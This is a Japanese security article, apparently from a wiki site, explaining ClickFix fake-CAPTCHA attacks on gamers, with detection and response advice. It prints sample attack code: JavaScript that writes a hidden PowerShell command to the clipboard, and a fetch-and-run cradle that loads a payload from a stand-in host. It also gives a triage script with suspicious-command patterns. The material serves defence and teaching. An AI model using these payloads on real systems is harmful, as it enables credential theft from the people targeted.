広告枠を募集中 ご相談ください

ClickFix攻撃の手口と対策:偽CAPTCHA認証、クリップボード悪用、およびPowerShellスクリプト感染の仕組み

365Finds Editorial
Wiki 記事 11,430 本収録

あなたの AI で 365 Wiki を使う

下のプロンプトをコピーして、普段使っている AI に貼り付け、そのまま質問してください。

完全版 Skill をダウンロード

まずはプロンプトでお試しください。よく使う場合は完全版 365Wiki Skill をインストールすると、毎回貼り付ける必要がありません。普段使う AI がなければ、Gemini や Microsoft Copilot のウェブ版でも使えます。

はじめに:ゲーマーを標的に急増する「ClickFix」ソーシャルエンジニアリング

PCゲームのコミュニティ、MOD配布サイト、シェーダー(Shaders)設定フォーラム、ゲーム起動エラーの解決ガイドサイトは、サイバー犯罪者が常に目を光らせている標的です。長年にわたり、ゲーマーを狙うマルウェアは、チートツール、MODインストーラー、海賊版クラックに偽装した .exe や .zip ファイルの直接ダウンロードを主な手口としていました。しかし、現代の主要Webブラウザ(Chrome, Edge, Firefox)やOSは、SmartScreenによるレピュテーション評価、ダウンロードのサンドボックス分離、フィッシング検知など強固な多層防御を備えています。

これらのブラウザ側セキュリティを完全に回避するため、攻撃者が編み出した極めて巧妙なソーシャルエンジニアリング手法がClickFix(「偽CAPTCHA」または「クリップボード貼り付け実行」攻撃)です。ClickFixはブラウザ経由で不審なファイルを落とさせる代わりに、精巧に偽装された「私はロボットではありません」という人間認証画面を表示し、プレイヤー自身に Windowsの「ファイル名を指定して実行」(Win + R) や PowerShell を開かせ、難読化された悪意あるスクリプトを自ら貼り付けて実行させます。

この操作はユーザー自身が正規の管理ツールを呼び出してローカル実行するため、ブラウザのダウンロード履歴に残らず、ファイルも生成されず、従来の静的アンチウイルス検知やブラウザ防御を完全に無力化します。本稿では、ClickFixの攻撃ライフサイクル、AMSIバイパスのメモリ構造、そして実効的な調査・防御手法を体系的に解説します。

ClickFixの攻撃フロー:Web誘餌からメモリ内実行まで

ClickFix攻撃は、MOD導入やエラー解消を急ぐプレイヤーの心理的隙を突く、厳密に設計されたステップで進行します:

[1. 汚染されたリソースサイトを訪問(例:「黒神話:悟空 FPS改善パッチ」「GTA6 テスト版」「DLSS 3.5 MOD」)]
                                |
                                v
[2. 偽の人間認証オーバーレイが表示:「人間であることを確認してください」(CloudflareやreCAPTCHAを完全偽装)]
                                |
                                v
[3. ブラウザDOMイベント:JavaScriptが navigator.clipboard.writeText(...) で悪意あるコードをクリップボードへ注入]
                                |
                                v
[4. 詐欺的な手順誘導:「キーボードの Win + R を押し、Ctrl + V で貼り付け、Enter を押して認証を完了してください」]
                                |
                                v
[5. ユーザーが「ファイル名を指定して実行」でEnter実行:explorer.exe が powershell.exe をバックグラウンド起動]
                                |
                                v
[6. 難読化PowerShellの実行:AMSIメモリパッチで検知無力化 -> 第2段階ペイロード(Lumma/Stealc等)をダウンロード]
                                |
                                v
[7. 資格情報の窃取:SteamセッションCookie、Discordトークン、ゲームランチャー情報をTelegramやC2へ送信]

フェーズ1:巧妙なゲーム関連の誘餌

攻撃者はSEOポイズニングを利用し、人気ゲームの検索キーワードに合わせた使い捨てサイトを大量に作成しています:

フェーズ2:精巧に偽装されたCAPTCHA画面

ダウンロードボタンをクリックすると、ファイルのダウンロードは開始されず、Cloudflare Turnstile、hCaptcha、Google reCAPTCHAと見分けがつかないモーダルダイアログが画面を覆います:

フェーズ3:クリップボードの無断書き換え

ユーザーが指示を読んでいる最中、背後で次のJavaScriptが自動実行されます:

// 偽のボタンクリックを契機にOSクリップボードへ自動書き込み
const payload = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Enc JABjAGwAaQBlAG4AdAAg... ";
navigator.clipboard.writeText(payload);

現代のChromium系ブラウザでは、クリック等のユーザー操作イベント内であれば、navigator.clipboard.writeText() はOSの許可ダイアログを出さずに成功します。プレイヤーはチェックを入れただけと思い込み、自身のクリップボードに武器化されたコマンドが格納されたことに気づきません。


技術解剖:悪意あるPowerShellペイロードの内部動作

受害者によって Win + R から実行されたスクリプトは、主に4つの段階を経てシステムを侵害します:

1. ウィンドウ非表示と実行ポリシー回避

起動コマンドには検知と視覚的気づきを回避する引数が指定されています:

  # 典型的なClickFix起動コマンド
  powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "..."

2. AMSI(Antimalware Scan Interface)のインメモリパッチ

スクリプト実行時にWindows Defenderの検査をすり抜けるため、マルウェアはメモリ上の amsi.dll を直接書き換えます。

攻撃者は AmsiScanBuffer 関数を標的にします:

3. 第2段階ペイロードのファイルレス実行

AMSIが無効化されると、PowerShellはネットワーク経由でインフォスティーラー本体をロードします:

  # メモリ上での直接ダウンロードとリフレクション実行
  $data = (New-Object Net.WebClient).DownloadData('https://cdn-static-payload.example/games/loader.bin');
  [System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, $null);

.NET のリフレクション機能 [System.Reflection.Assembly]::Load を用いてバイナリをメモリ上で直接実行するか、正規プロセス(MSBuild.exe, svchost.exe 等)へプロセスホローイング(Process Hollowing)によって注入するため、ディスク上には一切の実行ファイルが保存されません。

4. ゲーム関連資格情報の網羅的収集

最終的に展開されるインフォスティーラー(Lumma, Stealc, Vidar等)は、ゲーマーの重要資産を集中的に標的とします:


ClickFix 脅威マトリクス:手口とフォレンジック痕跡

攻撃の誘餌ソーシャルエンジニアリング文言実行経路主要な技術工芸物調査時に残る痕跡
偽Turnstile CAPTCHA「MODのダウンロードを開始するため人間認証を完了してください」Win + R -> powershell.exe -w hidden -encAmsiScanBuffer パッチ + IEX Web cradleイベントID 4104(スクリプトブロックログ);ConsoleHost_history.txt 内のBase64文字列
DirectX / VC++修復「d3dx9_43.dllが不足しています。端末にコマンドを貼り付けて自動修復してください」管理者PowerShell端末mshta.exe http://.../fix.hta またはPowerShellSysmonにおける mshta.exe の異常起動;非Microsoft IPへの外部通信
Discordベータテスト認証「ターミナルにあなた専用のテストキーを入力してください」cmd.exe /c start /b powershell ...Discord Webhook送出スクリプトdiscord.com/api/webhooks/... 宛てのZIP添付HTTPS POST通信
シェーダーキャッシュ展開「事前コンパイル済みVulkanキャッシュを展開するためコマンドを実行してください」通常のPowerShellコンソール%TEMP% 配下への悪意あるDLL展開HKCU\Software\Microsoft\Windows\CurrentVersion\Run への異常な自動起動登録

防御エンジニアリング:ClickFixに強いWindows環境の構築

ゲーマーやPC管理者は、以下のシステム設定を行うことでClickFixの実行を防ぐことができます:

1. PowerShellスクリプトブロックログの有効化(イベントID 4104)

既定のWindows設定では、対話型で実行されたスクリプトの全文はログに残りません。詳細ログを有効にすることで、難読化を解いた後の最終コードがイベントビューアーに記録されます:

2. PowerShell制約付き言語モード(CLM)の適用

制約付き言語モード(Constrained Language Mode)を有効にすると、PowerShellからの任意 .NET リフレクション([System.Reflection.Assembly])やネイティブAPI呼び出しが遮断され、99%のインメモリ型マルウェアが起動不能になります:

3. WDACによる mshta.exe などのスクリプトホスト制限

攻撃者がPowerShellの代わりに mshta.exe(HTMLアプリケーションホスト)を悪用するケースに対処するため、レガシー環境で不要な場合はWindows Defender Application Control(WDAC)で mshta.exe や wscript.exe の実行を制限・監査します。


PowerShell自動フォレンジックスクリプト:感染兆候の検査

誤ってコマンドを貼り付けて実行してしまった可能性がある場合は、即座にネットワークを切断し、以下のPowerShell診断を実行してください:

  # ClickFix 脅威監査・トリアージスクリプト
  Write-Host "=== ClickFix 感染痕跡スキャン ===" -ForegroundColor Cyan
  
  # 1. PowerShellコンソール履歴の監査
  $historyPath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
  if (Test-Path $historyPath) {
      Write-Host "`n[1] 直近のPowerShellコマンド履歴を検査中..." -ForegroundColor Yellow
      $suspiciousPatterns = @("DownloadString", "DownloadData", "AmsiScanBuffer", "-enc", "-EncodedCommand", "mshta", "hidden", "bypass")
      $historyLines = Get-Content -Path $historyPath -Tail 50
      foreach ($line in $historyLines) {
          foreach ($pattern in $suspiciousPatterns) {
              if ($line -match $pattern) {
                  Write-Host "  [警告:不審な履歴コマンドを検出]: $line" -ForegroundColor Red
                  break
              }
          }
      }
  }
  
  # 2. Windows「ファイル名を指定して実行」履歴 (MRU) の確認
  Write-Host "`n[2] 「ファイル名を指定して実行」レジストリを検査中..." -ForegroundColor Yellow
  $runMruPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
  if (Test-Path $runMruPath) {
      $mruEntries = Get-ItemProperty -Path $runMruPath
      $mruEntries.PSObject.Properties | Where-Object { $_.Name -match "^[a-z]$" } | ForEach-Object {
          if ($_.Value -match "powershell|cmd|mshta|curl|bitsadmin") {
              Write-Host "  [危険:不審な実行履歴]: $($_.Name) = $($_.Value)" -ForegroundColor Red
          } else {
              Write-Host "  [正常項目]: $($_.Name) = $($_.Value)" -ForegroundColor Gray
          }
      }
  }
  
  # 3. ユーザー自動起動レジストリの検査
  Write-Host "`n[3] スタートアップ常駐レジストリを検査中..." -ForegroundColor Yellow
  $runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
  Get-ItemProperty -Path $runKey | Select-Object -Property * -ExcludeProperty PS* | Out-String | Write-Host -ForegroundColor Cyan

感染が疑われる場合の緊急初動プロトコル

スクリプトの実行が確認された場合は、直ちに以下の初動対応を実施してください:

  1. LANケーブル抜線・Wi-Fi無効化: 盗み取られた認証情報が外部C2へ送信されるのを防ぐため、即座に物理的なオフライン状態にします。
  2. クリーンな別端末から全セッションを破棄:
    • スマートフォン等からSteamへログインし、設定 -> セキュリティ -> すべてのデバイスの認証を解除 を実行。盗まれた steamLoginSecure を無効化します。
    • Discordのパスワードを変更。パスワード変更により、既存のすべての認可トークンが強制失効します。
    • Google、Microsoft、Epic Games等のアカウントで「すべてのデバイスからログアウト」を実行し、パスワードを変更します。
  3. Steam Web APIキーの確認と取消: 別端末から https://steamcommunity.com/dev/apikey を開き、見覚えのないドメインが登録されていたら即座に「取り消し」を押します。
  4. オフラインスキャンの実施: Microsoft Defender オフライン スキャンや起動可能なレスキューUSBを用いて、システムの完全スキャンを実施します。
  5. アーキテクチャの理解に基づくセキュリティ意識の向上: 正規のCloudflareやGoogleのCAPTCHAはブラウザサンドボックス内で完結しており、ユーザーに Win + R やターミナルへの貼り付けを要求することは絶対にありません。365Finds のような信頼できる技術ナレッジを活用してOSの挙動やセキュリティ境界を正しく把握し、巧妙化するソーシャルエンジニアリング攻撃から大切なゲーム環境を守り抜きましょう。

参考文献